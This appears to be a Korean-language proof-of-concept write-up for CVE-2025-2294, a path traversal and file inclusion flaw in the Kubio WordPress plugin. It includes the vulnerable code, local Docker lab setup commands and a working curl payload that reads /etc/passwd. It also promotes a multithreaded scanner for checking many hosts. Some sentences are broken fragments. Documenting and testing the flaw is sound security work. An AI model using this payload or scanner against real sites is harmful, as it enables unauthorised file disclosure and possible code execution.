
CVE-2025-2294 — WordPress용 Kubio AI Page Builder 플러그인의 Local File Inclusion (LFI) 유형의 치명적인 취약점입니다. 이 취약점으로 인해 인증되지 않은 원격 공격자가 특수하게 조작된 매개변수를 전달하여 플러그인이 서버에서 임의의 파일을 포함할 수 있게 됩니다. 포함 가능한 PHP 파일이 존재하면 원격 코드 실행(RCE)으로 이어질 수 있습니다.
kubio/wp-content/plugins/kubio/cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).
__kubio-site-edit-iframe-classic-template 매개변수를 받는 공개 HTTP(S) 엔드포인트가 있어야 합니다.wp-config.php, 개인 키, 로그).취약한 코드는 전역 배열 $_REQUEST에 접근하는 kubio_hybrid_theme_load_template() 함수와 관련이 있습니다:
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
$new_template = locate_template([$template_id]);
if ($new_template !== '') {
return $new_template;
}
}
Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — 전역 입력 집합에서 직접 값을 가져옵니다($_REQUEST는 $_GET, $_POST, $_COOKIE를 결합). `즉, 매개변수를 원격으로 제어할 수 있습니다.
매개변수가 존재하면($template_id가 참), 코드는 locate_template([$template_id])를 호출합니다.
locate_template() — 전달된 상대 경로/이름을 기준으로 템플릿을 찾는 WordPress 유틸리티(또는 플러그인의 유사 기능)입니다. 정상적인 시나리오에서는 안전한 템플릿 디렉터리 내부의 파일 이름(예: header.php 또는 template-parts/content.php)이 전달될 것으로 예상되었습니다.
반환된 값($new_template)은 이후에 사용됩니다. 원래 구현에서는 찾은 경로를 include/require하거나 해당 경로를 출력을 위해 전달할 수 있습니다. 이로 인해 LFI가 가능해집니다. 공격자가 임의의 파일 경로를 지정할 수 있습니다.
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
docker exec -it <WORDPRESS_DOCKER_ID> bash
압축 해제 후 실행하려면 http://localhost:8080/wp-admin/plugins.php로 이동하여 플러그인을 활성화하세요
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

__kubio-site-edit-iframe-classic-template=<path>
이 매개변수는 플러그인이 템플릿 식별자/경로로 사용하는 문자열을 전달합니다.
취약한 코드 조각에서는 값이 $_REQUEST에서 가져와 사전 정규화나 제한 없이 locate_template()로 전달됩니다. 결과적으로 경로 순회(path traversal) 가 가능해집니다. 값에 ../ 시퀀스를 삽입하면 최종 경로가 예상 템플릿 디렉터리를 벗어나 파일 시스템의 임의 파일(예: /etc/passwd)을 가리킬 수 있습니다.
이 매개변수가 바로 공격 페이로드를 전달하며, 이를 통해 공격자는 대상 파일을 지정합니다.
__kubio-site-edit-iframe-preview=1
이것은 보조 플래그(미리보기 / iframe 편집 모드)입니다. 요청 처리를 __kubio-site-edit-iframe-classic-template에 지정된 템플릿을 읽고 사용하는 코드 분기로 전환합니다.
preview=1이 없으면 플러그인은 classic-template 매개변수를 처리하지 않거나 다른 논리를 사용할 수 있습니다. preview=1이 있으면 템플릿을 읽고 반환하는 로직이 활성화되어 악용이 가능해집니다.
/wp-content/plugins/kubio/readme.txt 파일을 통해 플러그인 버전을 확인합니다.
/etc/passwd 출력을 확인합니다.
이 스크립트는 /etc/passwd 출력을 확인하지만 멀티스레딩 덕분에 nuclei보다 몇 배 더 빠르며, 여러 호스트를 동시에 스캔하는 것도 지원합니다.
python3 scan.py --target http://localhost:8080
